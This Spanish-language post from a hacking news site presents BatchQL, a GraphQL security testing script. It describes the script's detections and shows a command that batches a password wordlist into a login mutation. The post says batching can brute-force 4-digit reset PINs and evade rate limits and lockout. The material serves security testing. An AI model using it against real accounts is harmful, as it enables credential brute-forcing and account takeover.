inHacker
byHelen Lafayetteseptiembre 18, 2021, 8:30 pm
BatchQL es un script de monitoreo de seguridad GraphQL que se enfoca en ejecutar consultas y mutaciones de Batch GraphQL. Este script no es complejo y agradecemos las mejoras.
Mientras investigábamos el área problemática de los ataques de procesamiento por lotes GraphQL, descubrimos que había algunas publicaciones de blog en Internet, pero ninguna herramienta para realizar ataques de procesamiento por lotes GraphQL.
Los ataques por lotes de GraphQL pueden ser bastante graves según las funcionalidades implementadas. Por ejemplo, imagine una función de restablecimiento de contraseña que espera que se envíe un PIN de 4 dígitos a su correo electrónico. Esta herramienta le permite probar todos los intentos de 10k pines en una sola consulta GraphQL. Esto puede eludir cualquier límite de tasa o bloqueo de cuenta dependiendo de los detalles de implementación del proceso de restablecimiento de contraseña.
Detecciones
Esta herramienta puede detectar:
- Soporte de consultas de introspección
- Reconocimiento de propuestas de esquemas
- Detección potencial de CSRF
- Procesamiento por lotes basado en nombres de consultas
- Consultar el procesamiento por lotes basado en listas JSON
ataques
Actualmente, esta herramienta solo admite el envío de consultas basadas en listas JSON para ataques por lotes. Admite escenarios en los que las variables están incrustadas en la consulta o se proporcionan en la entrada JSON.
propósito de uso
contar
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyanceCSRF GET based successful. Please confirm that this is a valid issue.CSRF POST based successful. Please confirm that this is a valid issue.Query name based batching: GraphQL batching is possible... preflight request was successful.Query JSON list based batching: GraphQL batching is possible... preflight request was successful.Most provide query, wordlist, and size to perform batching attack.
Ataques por lotes
- Guarde un archivo que contenga su consulta GraphQL, p. Ej. acc-login.txt:
mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {emailLoginRemembered(loginInput: $loginInput) {authToken {accessToken__typename}userSessionResponse {userTokenuserIdentity {userIdidentityTypeverifiedonboardingStatusregistrationReferralCodeuserReferralInfo {referralCode {codevalid__typename}__typename}__typename}__typename}__typename}}
- Ejecute el siguiente comando para realizar un ataque por lotes GraphQL:
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
El comando anterior hace lo siguiente:
- Especifica una consulta de un archivo local –query acc-login.txt.
- Especifica una lista de palabras –wordlist passwords.txt
- Especifica la entrada variable con el identificador de reemplazo -v {«loginInput»:{«email»:»[email protected]»,»password»:»#VARIABLE#»,»rememberMe»:false}}
- Especifica el tamaño del lote –size 100
- Especifica el punto final -e http://re.local:5000/graphiql
- Especifica un proxy -p localhost:8080
Referencias
conconsultasejecuciónenfoqueGraphQLlotesmonitoreomutacionesporScriptseguridad
Índice de contenido
Newsletter
What do you think?
0 Points Upvote Downvote
You May Also Like
- byHelen Lafayetteoctubre 26, 2021, 8:30 pm
- byHelen Lafayetteoctubre 26, 2021, 2:17 pm
- byHelen Lafayetteoctubre 26, 2021, 1:41 pm
- Trending byHelen Lafayetteoctubre 26, 2021, 2:10 am
- byHelen Lafayetteoctubre 25, 2021, 2:50 pm
- byHelen Lafayetteoctubre 25, 2021, 11:30 am
Reply with GIF
GIPHY App Key not set. Please check settings
Don’t Miss
- Hot Popular byHelen Lafayetteoctubre 8, 2021, 1:41 pm
- Hot Popular byHelen Lafayetteoctubre 13, 2021, 1:06 pm
- Hot Popular byAlan Kimoctubre 15, 2021, 10:26 pm
- Hot Popular byAlan Kimoctubre 6, 2021, 1:13 pm
- Hot Popular byHelen Lafayetteoctubre 10, 2021, 11:30 am
- Hot Popular byHelen Lafayetteoctubre 13, 2021, 12:53 pm